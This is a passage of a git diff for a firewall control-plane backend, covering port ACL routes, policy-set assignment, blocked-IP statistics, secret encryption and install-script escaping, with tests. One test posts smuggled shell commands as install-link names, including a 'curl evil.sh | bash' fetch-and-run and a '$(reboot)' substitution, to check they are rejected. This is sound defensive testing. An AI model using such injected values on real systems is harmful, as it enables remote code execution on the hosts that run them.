@@ -100,4 +101,59 @@ export const policySetsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async
} }
return { ok: true } return { ok: true }
}) })
/**
* Replace which agents have this set assigned: listed agents gain the set
* (other assignments preserved), unlisted agents lose it.
*/
app.put<{ Params: { id: string } }>(
'/policy-sets/:id/agents',
async (req) => {
const set = repos.getPolicySet(app.db, req.params.id)
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
const body = agentIdsBodySchema.parse(req.body)
const target = new Set(body.agent_ids)
for (const agentId of body.agent_ids) {
if (!repos.getAgent(app.db, agentId)) {
throw new AppError('NOT_FOUND', `Agent not found: ${agentId}`, 404)
}
}
const current = repos.listAgentIdsForSet(app.db, set.id)
const toAdd = body.agent_ids.filter((id) => !current.includes(id))
const toRemove = current.filter((id) => !target.has(id))
const applyAssignment = (agentId: string, withSet: boolean) => {
const others = repos
.listSetsForAgent(app.db, agentId)
.map((s) => s.setId)
.filter((id) => id !== set.id)
const next = withSet ? [...others, set.id] : others
repos.setAgentPolicySets(app.db, agentId, next)
}
app.sqlite.transaction(() => {
for (const agentId of toAdd) applyAssignment(agentId, true)
for (const agentId of toRemove) applyAssignment(agentId, false)
})()
auditMutation(app, config, req, {
action: 'policy_set.agents.update',
targetType: 'app_resource',
targetId: set.id,
summary: `Назначение набора ${set.name} обновлено`,
details: {
set_id: set.id,
added: toAdd,
removed: toRemove,
},
})
return {
agent_ids: repos.listAgentIdsForSet(app.db, set.id),
added: toAdd,
removed: toRemove,
}
},
)
} }
+369
View File
@@ -0,0 +1,369 @@
import type { FastifyPluginAsync } from 'fastify'
import { createHash } from 'node:crypto'
import { repos } from '@evofw/db'
import {
createAgentPortRuleBodySchema,
importAgentPortRulesBodySchema,
updateAgentPortRuleBodySchema,
} from '@evofw/shared'
import { AppError } from '../plugins/error-handler.js'
import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js'
function mapPortRule(
row: NonNullable<ReturnType<typeof repos.getAgentPortRule>>,
listName?: string | null,
) {
return {
id: row.id,
agent_id: row.agentId,
action: row.action,
protocol: row.protocol,
port_start: row.portStart,
port_end: row.portEnd,
src_kind: row.srcKind,
src_cidr: row.srcCidr,
list_id: row.listId,
list_name: listName ?? null,
enabled: row.enabled === 1,
comment: row.comment,
priority: row.priority,
created_at: row.createdAt,
updated_at: row.updatedAt,
}
}
function validateSrc(
srcKind: string,
srcCidr: string | null | undefined,
listId: string | null | undefined,
db: Parameters<typeof repos.getIpList>[0],
) {
if (srcKind === 'cidr' && !srcCidr?.trim()) {
throw new AppError('VALIDATION_ERROR', 'src_cidr required', 400)
}
if (srcKind === 'list') {
if (!listId?.trim()) {
throw new AppError('VALIDATION_ERROR', 'list_id required', 400)
}
if (!repos.getIpList(db, listId)) {
throw new AppError('NOT_FOUND', 'IP list not found', 404)
}
}
}
export const portAclRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app,
opts,
) => {
const { config } = opts
app.get<{ Params: { id: string } }>(
'/agents/:id/port-rules',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
const rows = repos.listAgentPortRules(app.db, agent.id)
const listNames = repos.mapIpListNames(
app.db,
rows.map((r) => r.listId).filter((id): id is string => Boolean(id)),
)
const items = rows.map((row) =>
mapPortRule(
row,
row.listId ? (listNames.get(row.listId) ?? null) : null,
),
)
return { items }
},
)
app.post<{ Params: { id: string } }>(
'/agents/:id/port-rules',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
if (agent.platform !== 'linux') {
throw new AppError(
'VALIDATION_ERROR',
'Port ACL is only supported on Linux agents',
400,
)
}
const body = createAgentPortRuleBodySchema.parse(req.body)
const portEnd = body.port_end ?? body.port_start
const srcKind = body.src_kind
const srcCidr = srcKind === 'cidr' ? body.src_cidr!.trim() : null
const listId = srcKind === 'list' ? body.list_id! : null
validateSrc(srcKind, srcCidr, listId, app.db)
const now = new Date().toISOString()
const row = repos.insertAgentPortRule(app.db, {
id: crypto.randomUUID(),
agentId: agent.id,
action: body.action,
protocol: body.protocol,
portStart: body.port_start,
portEnd,
srcKind,
srcCidr,
listId,
enabled: body.enabled === false ? 0 : 1,
comment: body.comment ?? null,
priority: body.priority ?? 100,
createdAt: now,
updatedAt: now,
})
repos.bumpAgentGeneration(app.db, agent.id)
auditMutation(app, config, req, {
action: 'port_rule.create',
targetType: 'app_resource',
targetId: row!.id,
summary: `Port ACL ${body.action} ${body.protocol}/${body.port_start} для ${agent.name}`,
details: {
agent_id: agent.id,
rule_id: row!.id,
action: body.action,
protocol: body.protocol,
port_start: body.port_start,
port_end: portEnd,
},
})
const listName = row!.listId
? repos.getIpList(app.db, row!.listId)?.name
: null
return mapPortRule(row!, listName)
},
)
app.patch<{ Params: { id: string; ruleId: string } }>(
'/agents/:id/port-rules/:ruleId',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
const existing = repos.getAgentPortRule(app.db, req.params.ruleId)
if (!existing || existing.agentId !== agent.id) {
throw new AppError('NOT_FOUND', 'Port rule not found', 404)
}
const body = updateAgentPortRuleBodySchema.parse(req.body)
const nextSrcKind = body.src_kind ?? existing.srcKind
const nextSrcCidr =
body.src_cidr !== undefined
? body.src_cidr
: existing.srcCidr
const nextListId =
body.list_id !== undefined ? body.list_id : existing.listId
validateSrc(nextSrcKind, nextSrcCidr, nextListId, app.db)
const portStart = body.port_start ?? existing.portStart
const portEnd = body.port_end ?? existing.portEnd
if (portEnd < portStart) {
throw new AppError(
'VALIDATION_ERROR',
'port_end must be >= port_start',
400,
)
}
const row = repos.updateAgentPortRule(app.db, existing.id, {
...(body.action !== undefined ? { action: body.action } : {}),
...(body.protocol !== undefined ? { protocol: body.protocol } : {}),
portStart,
portEnd,
srcKind: nextSrcKind,
srcCidr: nextSrcKind === 'cidr' ? nextSrcCidr : null,
listId: nextSrcKind === 'list' ? nextListId : null,
...(body.enabled !== undefined
? { enabled: body.enabled ? 1 : 0 }
: {}),
...(body.comment !== undefined ? { comment: body.comment } : {}),
...(body.priority !== undefined ? { priority: body.priority } : {}),
})
repos.bumpAgentGeneration(app.db, agent.id)
auditMutation(app, config, req, {
action: 'port_rule.update',
targetType: 'app_resource',
targetId: existing.id,
summary: `Port ACL обновлён у ${agent.name}`,
details: { agent_id: agent.id, rule_id: existing.id },
})
const listName = row!.listId
? repos.getIpList(app.db, row!.listId)?.name
: null
return mapPortRule(row!, listName)
},
)
app.delete<{ Params: { id: string; ruleId: string } }>(
'/agents/:id/port-rules/:ruleId',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
const existing = repos.getAgentPortRule(app.db, req.params.ruleId)
if (!existing || existing.agentId !== agent.id) {
throw new AppError('NOT_FOUND', 'Port rule not found', 404)
}
repos.deleteAgentPortRule(app.db, existing.id)
repos.bumpAgentGeneration(app.db, agent.id)
auditMutation(app, config, req, {
action: 'port_rule.delete',
severity: 'warning',
targetType: 'app_resource',
targetId: existing.id,
summary: `Port ACL удалён у ${agent.name}`,
details: { agent_id: agent.id, rule_id: existing.id },
})
return { ok: true }
},
)
app.post<{ Params: { id: string } }>(
'/agents/:id/port-rules/import',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
if (agent.platform !== 'linux') {
throw new AppError(
'VALIDATION_ERROR',
'Port ACL is only supported on Linux agents',
400,
)
}
const body = importAgentPortRulesBodySchema.parse(req.body)
const now = new Date().toISOString()
const created: ReturnType<typeof mapPortRule>[] = []
if (body.from === 'list') {
const list = repos.getIpList(app.db, body.list_id!)
if (!list) throw new AppError('NOT_FOUND', 'IP list not found', 404)
for (const p of body.ports) {
const portEnd = p.port_end ?? p.port_start
const row = repos.insertAgentPortRule(app.db, {
id: crypto.randomUUID(),
agentId: agent.id,
action: body.action,
protocol: body.protocol,
portStart: p.port_start,
portEnd,
srcKind: 'list',
srcCidr: null,
listId: list.id,
enabled: body.enabled === false ? 0 : 1,
comment: body.comment ?? `import list:${list.name}`,
priority: 100,
createdAt: now,
updatedAt: now,
})
created.push(mapPortRule(row!, list.name))
}
} else {
const set = repos.getPolicySet(app.db, body.set_id!)
if (!set) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
const rules = repos.listPolicyRules(app.db, set.id)
const listIds = new Set<string>()
const cidrs = new Set<string>()
for (const r of rules) {
if (r.listId) listIds.add(r.listId)
if (r.cidr?.trim()) cidrs.add(r.cidr.trim())
}
if (!listIds.size && !cidrs.size) {
throw new AppError(
'VALIDATION_ERROR',
'Policy set has no list/cidr sources to import',
400,
)
}
for (const p of body.ports) {
const portEnd = p.port_end ?? p.port_start
for (const listId of listIds) {
const list = repos.getIpList(app.db, listId)
const row = repos.insertAgentPortRule(app.db, {
id: crypto.randomUUID(),
agentId: agent.id,
action: body.action,
protocol: body.protocol,
portStart: p.port_start,
portEnd,
srcKind: 'list',
srcCidr: null,
listId,
enabled: body.enabled === false ? 0 : 1,
comment:
body.comment ?? `import set:${set.name} list:${list?.name ?? listId}`,
priority: 100,
createdAt: now,
updatedAt: now,
})
created.push(mapPortRule(row!, list?.name ?? null))
}
for (const cidr of cidrs) {
const row = repos.insertAgentPortRule(app.db, {
id: crypto.randomUUID(),
agentId: agent.id,
action: body.action,
protocol: body.protocol,
portStart: p.port_start,
portEnd,
srcKind: 'cidr',
srcCidr: cidr,
listId: null,
enabled: body.enabled === false ? 0 : 1,
comment: body.comment ?? `import set:${set.name} cidr:${cidr}`,
priority: 100,
createdAt: now,
updatedAt: now,
})
created.push(mapPortRule(row!, null))
}
}
}
repos.bumpAgentGeneration(app.db, agent.id)
auditMutation(app, config, req, {
action: 'port_rule.import',
targetType: 'app_resource',
targetId: agent.id,
summary: `Импорт ${created.length} Port ACL для ${agent.name}`,
details: {
agent_id: agent.id,
from: body.from,
count: created.length,
},
})
return { items: created }
},
)
app.get<{ Params: { id: string } }>(
'/agents/:id/host-firewall',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
const snap = repos.getHostFirewallSnapshot(app.db, agent.id)
if (!snap) {
return {
collected_at: null,
raw_digest: null,
rules: [],
listeners: [],
}
}
let payload: { rules?: unknown[]; listeners?: unknown[] } = {}
try {
payload = JSON.parse(snap.payloadJson) as typeof payload
} catch {
payload = {}
}
return {
collected_at: snap.collectedAt,
raw_digest: snap.rawDigest,
rules: payload.rules ?? [],
listeners: payload.listeners ?? [],
}
},
)
}
export function digestHostFirewallPayload(json: string): string {
return createHash('sha256').update(json).digest('hex').slice(0, 16)
}
+23 -22
View File
@@ -12,7 +12,8 @@ import {
} from '../services/policy/resolve-hostname.js' } from '../services/policy/resolve-hostname.js'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { auditMutation } from '../services/audit.js' import { auditMutation } from '../services/audit.js'
import { mapPolicyRule } from '../services/row-mappers.js' import { mapPolicyRule, mapPolicyRules } from '../services/row-mappers.js'
import { applyPagination } from '../services/pagination.js'
export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
@@ -26,29 +27,28 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const s = repos.getPolicySet(app.db, req.params.id) const s = repos.getPolicySet(app.db, req.params.id)
if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404) if (!s) throw new AppError('NOT_FOUND', 'Policy set not found', 404)
return { return {
items: repos items: mapPolicyRules(repos.listPolicyRules(app.db, s.id), app.db),
.listPolicyRules(app.db, s.id)
.map((r) => mapPolicyRule(r, app.db)),
} }
}, },
) )
app.get<{ Querystring: { set_id?: string; agent_id?: string } }>( app.get<{
'/rules', Querystring: { set_id?: string; agent_id?: string; limit?: string; offset?: string }
async (req) => { }>('/rules', async (req) => {
if (req.query.agent_id) { if (req.query.agent_id) {
return { return {
items: repos items: mapPolicyRules(
.listPolicyRulesForAgent(app.db, req.query.agent_id) repos.listPolicyRulesForAgent(app.db, req.query.agent_id),
.map((r) => mapPolicyRule(r, app.db)), app.db,
} ),
} }
const items = repos }
.listPolicyRules(app.db, req.query.set_id) const paged = applyPagination(
.map((r) => mapPolicyRule(r, app.db)) mapPolicyRules(repos.listPolicyRules(app.db, req.query.set_id), app.db),
return { items } req.query,
}, )
) return { items: paged.items, total: paged.total }
})
app.post('/rules', async (req) => { app.post('/rules', async (req) => {
const body = createPolicyRuleBodySchema.parse(req.body) const body = createPolicyRuleBodySchema.parse(req.body)
@@ -174,9 +174,10 @@ export const rulesRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
details: { set_id: s.id, ordered_ids: body.ordered_ids }, details: { set_id: s.id, ordered_ids: body.ordered_ids },
}) })
return { return {
items: repos items: mapPolicyRules(
.listPolicyRules(app.db, s.id) repos.listPolicyRules(app.db, s.id),
.map((r) => mapPolicyRule(r, app.db)), app.db,
),
} }
}, },
) )
+6 -1
View File
@@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify'
import { repos } from '@evofw/db' import { repos } from '@evofw/db'
import { putSettingsBodySchema } from '@evofw/shared' import { putSettingsBodySchema } from '@evofw/shared'
import type { AppConfig } from '../config.js' import type { AppConfig } from '../config.js'
import { encryptSecret } from '../services/secret-cipher.js'
export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
app, app,
@@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
const body = putSettingsBodySchema.parse(req.body) const body = putSettingsBodySchema.parse(req.body)
for (const [k, v] of Object.entries(body)) { for (const [k, v] of Object.entries(body)) {
if (k === 'evobgp_api_token' && v === '********') continue if (k === 'evobgp_api_token' && v === '********') continue
repos.setSetting(app.db, k, v) repos.setSetting(
app.db,
k,
k === 'evobgp_api_token' ? encryptSecret(v) : v,
)
} }
return { ok: true } return { ok: true }
}) })
+46
View File
@@ -23,6 +23,50 @@ export const statsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
})), })),
})) }))
app.get<{ Params: { id: string } }>(
'/agents/:id/blocked-ips',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
const items = repos.listIpBlockStats(app.db, agent.id)
const portsByIp = repos.mapTopPortsByIp(
app.db,
agent.id,
items.map((s) => s.ip),
5,
)
return {
items: items.map((s) => ({
ip: s.ip,
packets: s.packets,
first_seen_at: s.firstSeenAt,
last_seen_at: s.lastSeenAt,
ports: (portsByIp.get(s.ip) ?? []).map((p) => ({
port: p.port,
protocol: p.protocol,
packets: p.packets,
})),
})),
}
},
)
app.get<{ Params: { id: string } }>(
'/agents/:id/blocked-ports',
async (req) => {
const agent = repos.getAgent(app.db, req.params.id)
if (!agent) throw new AppError('NOT_FOUND', 'Agent not found', 404)
return {
items: repos.listPortBlockStatsAggregate(app.db, agent.id, 50).map((s) => ({
port: s.port,
protocol: s.protocol,
packets: s.packets,
last_seen_at: s.lastSeenAt,
})),
}
},
)
app.post<{ Params: { id: string } }>( app.post<{ Params: { id: string } }>(
'/agents/:id/stats/reset', '/agents/:id/stats/reset',
async (req) => { async (req) => {
@@ -35,6 +79,8 @@ export const statsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async (
totalPacketsAccepted: 0, totalPacketsAccepted: 0,
}) })
repos.deleteStatsSamplesForAgent(app.db, agent.id) repos.deleteStatsSamplesForAgent(app.db, agent.id)
repos.deleteIpBlockStatsForAgent(app.db, agent.id)
repos.deletePortBlockStatsForAgent(app.db, agent.id)
auditMutation(app, config, req, { auditMutation(app, config, req, {
action: 'agent.stats_reset', action: 'agent.stats_reset',
severity: 'info', severity: 'info',
+14
View File
@@ -38,3 +38,17 @@ try {
app.log.error(err) app.log.error(err)
process.exit(1) process.exit(1)
} }
// Drain in-flight requests and close SQLite on docker stop / SIGINT.
for (const signal of ['SIGINT', 'SIGTERM'] as const) {
process.on(signal, () => {
app.log.info(`${signal} received, shutting down`)
app
.close()
.then(() => process.exit(0))
.catch((err) => {
app.log.error(err, 'error during shutdown')
process.exit(1)
})
})
}
View File
Whitespace-only changes.
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
} }
describe('agents CRUD critical paths', () => { describe('agents CRUD critical paths', () => {
+155
View File
@@ -0,0 +1,155 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function createInvitedAgent(
app: Awaited<ReturnType<typeof buildApp>>,
name: string,
): Promise<string> {
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
expect(created.statusCode).toBe(201)
return (created.json() as { agent_id: string }).agent_id
}
describe('bulk agent operations', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('approve-bulk approves invited agents in one request', async () => {
const app = await appPromise
await app.ready()
const a1 = await createInvitedAgent(app, 'bulk-01')
const a2 = await createInvitedAgent(app, 'bulk-02')
const a3 = await createInvitedAgent(app, 'bulk-03')
const bulk = await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1, a2, a3] },
})
expect(bulk.statusCode).toBe(200)
const body = bulk.json() as { items: { id: string; status: string }[] }
expect(body.items.map((i) => i.id).sort()).toEqual([a1, a2, a3].sort())
expect(body.items.every((i) => i.status === 'approved')).toBe(true)
// shared default set assigned on approve
for (const id of [a1, a2, a3]) {
const sets = await app.inject({
method: 'GET',
url: `/api/v1/agents/${id}/policy-sets`,
})
const items = (sets.json() as { items: { set_id: string }[] }).items
expect(items.some((s) => s.set_id === 'set-shared-default')).toBe(true)
}
// repeated bulk is a no-op (already approved)
const again = await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1] },
})
expect(again.statusCode).toBe(200)
expect((again.json() as { items: unknown[] }).items).toEqual([])
})
it('PUT /policy-sets/:id/agents replaces assignment of the set', async () => {
const app = await appPromise
await app.ready()
const a1 = await createInvitedAgent(app, 'assign-01')
const a2 = await createInvitedAgent(app, 'assign-02')
await app.inject({
method: 'POST',
url: '/api/v1/agents/approve-bulk',
payload: { agent_ids: [a1, a2] },
})
const created = await app.inject({
method: 'POST',
url: '/api/v1/policy-sets',
payload: { name: 'bulk-assign-set' },
})
const setId = (created.json() as { id: string }).id
// assign both
const put = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [a1, a2] },
})
expect(put.statusCode).toBe(200)
expect((put.json() as { added: string[] }).added.sort()).toEqual(
[a1, a2].sort(),
)
// a1 keeps set when a2 removed; shared default preserved for both
const drop = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [a1] },
})
expect(drop.statusCode).toBe(200)
const dropBody = drop.json() as {
agent_ids: string[]
removed: string[]
}
expect(dropBody.agent_ids).toEqual([a1])
expect(dropBody.removed).toEqual([a2])
const setsA1 = (
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a1}/policy-sets` }))
.json() as { items: { set_id: string }[] }
).items.map((s) => s.set_id)
const setsA2 = (
(await app.inject({ method: 'GET', url: `/api/v1/agents/${a2}/policy-sets` }))
.json() as { items: { set_id: string }[] }
).items.map((s) => s.set_id)
expect(setsA1).toContain(setId)
expect(setsA2).not.toContain(setId)
expect(setsA2).toContain('set-shared-default')
// empty array clears the whole assignment
const clear = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: [] },
})
expect(clear.statusCode).toBe(200)
expect((clear.json() as { agent_ids: string[] }).agent_ids).toEqual([])
// unknown agent → 404, and nothing changed
const bad = await app.inject({
method: 'PUT',
url: `/api/v1/policy-sets/${setId}/agents`,
payload: { agent_ids: ['no-such-agent'] },
})
expect(bad.statusCode).toBe(404)
})
})
+122 -1
View File
@@ -14,6 +14,10 @@ const testConfig: AppConfig = {
authPortalUrl: 'http://localhost:5175', authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com', publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed', enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
} }
describe('install-links', () => { describe('install-links', () => {
@@ -112,6 +116,55 @@ describe('install-links', () => {
expect(row?.status).toBe('pending') expect(row?.status).toBe('pending')
}) })
it('rejects install link names with unsafe characters', async () => {
const app = await appPromise
await app.ready()
const bad = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' },
})
expect(bad.statusCode).toBe(400)
const quotes = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: "name'$(reboot)", platform: 'linux' },
})
expect(quotes.statusCode).toBe(400)
})
it('masks per-list api_token in list responses', async () => {
const app = await appPromise
await app.ready()
const created = await app.inject({
method: 'POST',
url: '/api/v1/lists',
payload: {
name: 'evobgp-masked',
type: 'evobgp_community',
config: {
api_url: 'https://bgp.example.com',
api_token: 'super-secret-token',
community_id: '',
},
},
})
expect(created.statusCode).toBe(200)
const body = created.json() as { config_json: string }
expect(body.config_json).not.toContain('super-secret-token')
expect(body.config_json).toContain('********')
const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' })
const items = (lists.json() as { items: { config_json: string }[] }).items
expect(
items.some((l) => l.config_json.includes('super-secret-token')),
).toBe(false)
expect(items.some((l) => l.config_json.includes('********'))).toBe(true)
})
it('mikrotik install link serves RSC and fetch/import one-liner', async () => { it('mikrotik install link serves RSC and fetch/import one-liner', async () => {
const app = await appPromise const app = await appPromise
await app.ready() await app.ready()
@@ -193,13 +246,15 @@ describe('install-links', () => {
policy_mode: string policy_mode: string
apply_version: number apply_version: number
hash: string hash: string
script_sha256: string
} }
expect(body.deny_cidrs).toEqual([]) expect(body.deny_cidrs).toEqual([])
expect(body.allow_cidrs).toEqual([]) expect(body.allow_cidrs).toEqual([])
expect(body.default_action).toBe('accept') expect(body.default_action).toBe('accept')
expect(body.policy_mode).toBe('blacklist') expect(body.policy_mode).toBe('blacklist')
expect(body.apply_version).toBe(2) expect(body.apply_version).toBe(3)
expect(body.hash).toMatch(/^sha256:/) expect(body.hash).toMatch(/^sha256:/)
expect(body.script_sha256).toMatch(/^[a-f0-9]{64}$/)
const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' }) const agents = await app.inject({ method: 'GET', url: '/api/v1/agents' })
const row = ( const row = (
@@ -259,4 +314,70 @@ describe('install-links', () => {
expect(rsc.body).toContain('EVOFW_DENY') expect(rsc.body).toContain('EVOFW_DENY')
expect(rsc.body).toContain('203.0.113.0/24') expect(rsc.body).toContain('203.0.113.0/24')
}) })
it('sync-script serves ETag and 304 on If-None-Match', async () => {
const app = await appPromise
await app.ready()
const first = await app.inject({
method: 'GET',
url: '/v1/agent/sync-script',
})
expect(first.statusCode).toBe(200)
expect(first.body.startsWith('#!')).toBe(true)
expect(first.body).toContain('maybe_self_update')
const etag = String(first.headers.etag ?? '')
const sha = String(first.headers['x-evofw-script-sha256'] ?? '')
expect(etag).toMatch(/^"[a-f0-9]{64}"$/)
expect(sha).toBe(etag.replaceAll('"', ''))
const cached = await app.inject({
method: 'GET',
url: '/v1/agent/sync-script',
headers: { 'if-none-match': etag },
})
expect(cached.statusCode).toBe(304)
const miss = await app.inject({
method: 'GET',
url: '/v1/agent/sync-script',
headers: { 'if-none-match': '"deadbeef"' },
})
expect(miss.statusCode).toBe(200)
expect(miss.body).toBe(first.body)
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name: 'script-sha-policy', platform: 'linux' },
})
const link = created.json() as { id: string; agent_id: string }
const token = 'evofw_script_sha_token_abcdefghij'
const enroll = await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name: 'script-sha-policy',
platform: 'linux',
token,
install_link_id: link.id,
},
})
expect(enroll.statusCode).toBe(201)
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/approve`,
})
const policy = await app.inject({
method: 'GET',
url: '/v1/agent/policy',
headers: { authorization: `Bearer ${token}` },
})
expect(policy.statusCode).toBe(200)
expect((policy.json() as { script_sha256: string }).script_sha256).toBe(sha)
})
}) })
+13 -3
View File
@@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string {
return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8') return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8')
} }
/** Strip control characters that have no business inside generated scripts. */
function stripControlChars(s: string): string {
// eslint-disable-next-line no-control-regex
return s.replace(/[\x00-\x1f\x7f]/g, '')
}
function escapeRosString(s: string): string { function escapeRosString(s: string): string {
return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"') // RouterOS interpolates $var and substitutes $(cmd) inside double quotes.
return stripControlChars(s)
.replace(/\\/g, '\\\\')
.replace(/"/g, '\\"')
.replace(/\$/g, '\\$')
} }
/** /**
@@ -119,8 +129,8 @@ export function renderInstallScript(opts: {
platform: string platform: string
installLinkId: string installLinkId: string
}): string { }): string {
const cp = opts.cpUrl.replace(/\/$/, '') const cp = stripControlChars(opts.cpUrl.replace(/\/$/, ''))
const escape = (s: string) => s.replace(/'/g, `'\\''`) const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`)
const header = [ const header = [
'#!/usr/bin/env bash', '#!/usr/bin/env bash',
'# EvoFirewall short install link — env pre-set', '# EvoFirewall short install link — env pre-set',
@@ -0,0 +1,522 @@
import { describe, it, expect, afterAll } from 'vitest'
import { buildApp } from '../app.js'
import type { AppConfig } from '../config.js'
const testConfig: AppConfig = {
databaseUrl: 'sqlite::memory:',
jwtSecret: 'test',
jwtTtlHours: 24,
serverPort: 8080,
staticDir: null,
logLevel: 'error',
authRequired: false,
authIssuer: 'https://auth.test',
authPortalUrl: 'http://localhost:5175',
publicBaseUrl: 'https://fw.example.com',
enrollSeed: 'test-seed',
corsOrigins: [],
authAuditIngestSecret: null,
secretKey: null,
statsRetentionDays: 30,
}
async function enrollApprovedLinux(
app: Awaited<ReturnType<typeof buildApp>>,
name: string,
token: string,
) {
const created = await app.inject({
method: 'POST',
url: '/api/v1/install-links',
payload: { name, platform: 'linux' },
})
expect(created.statusCode).toBe(201)
const link = created.json() as { id: string; agent_id: string }
const enroll = await app.inject({
method: 'POST',
url: '/v1/agent/enroll',
headers: {
'content-type': 'application/json',
'x-evofw-seed': 'test-seed',
},
payload: {
name,
platform: 'linux',
token,
install_link_id: link.id,
},
})
expect(enroll.statusCode).toBe(201)
await app.inject({
method: 'POST',
url: `/api/v1/agents/${link.agent_id}/approve`,
})
return { agentId: link.agent_id, token }
}
describe('apply-report ip_hits / blocked-ips', () => {
const appPromise = buildApp({ memory: true, config: testConfig })
afterAll(async () => {
const app = await appPromise
await app.close()
})
it('upserts ip_hits with delta accumulation and clears on reset', async () => {
const app = await appPromise
await app.ready()
const { agentId, token } = await enrollApprovedLinux(
app,
'ip-hits-01',
'evofw_ip_hits_token_abcdefghij',
)
const report1 = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
prefix_count: 2,
packets_dropped: 15,
packets_accepted: 1,
kernel_method: 'nft',
source: 'agent',
ip_hits: [
{ ip: '203.0.113.10', packets: 10 },
{ ip: '198.51.100.0/24', packets: 5 },
],
},
})
expect(report1.statusCode).toBe(200)
const list1 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ips`,
})
expect(list1.statusCode).toBe(200)
const body1 = list1.json() as {
items: { ip: string; packets: number; last_seen_at: string }[]
}
expect(body1.items).toHaveLength(2)
expect(body1.items[0]?.ip).toBe('203.0.113.10')
expect(body1.items[0]?.packets).toBe(10)
expect(body1.items[1]?.ip).toBe('198.51.100.0/24')
expect(body1.items[1]?.packets).toBe(5)
const report2 = await app.inject({
method: 'POST',
url: '/v1/agent/apply-report',
headers: {
authorization: `Bearer ${token}`,
'content-type': 'application/json',
},
payload: {
status: 'ok',
prefix_count: 2,
packets_dropped: 25,
packets_accepted: 1,
kernel_method: 'nft',
source: 'agent',
ip_hits: [
{ ip: '203.0.113.10', packets: 18 },
{ ip: '198.51.100.0/24', packets: 5 },
],
},
})
expect(report2.statusCode).toBe(200)
const list2 = await app.inject({
method: 'GET',
url: `/api/v1/agents/${agentId}/blocked-ips`,
})
const body2 = list2.json() as {
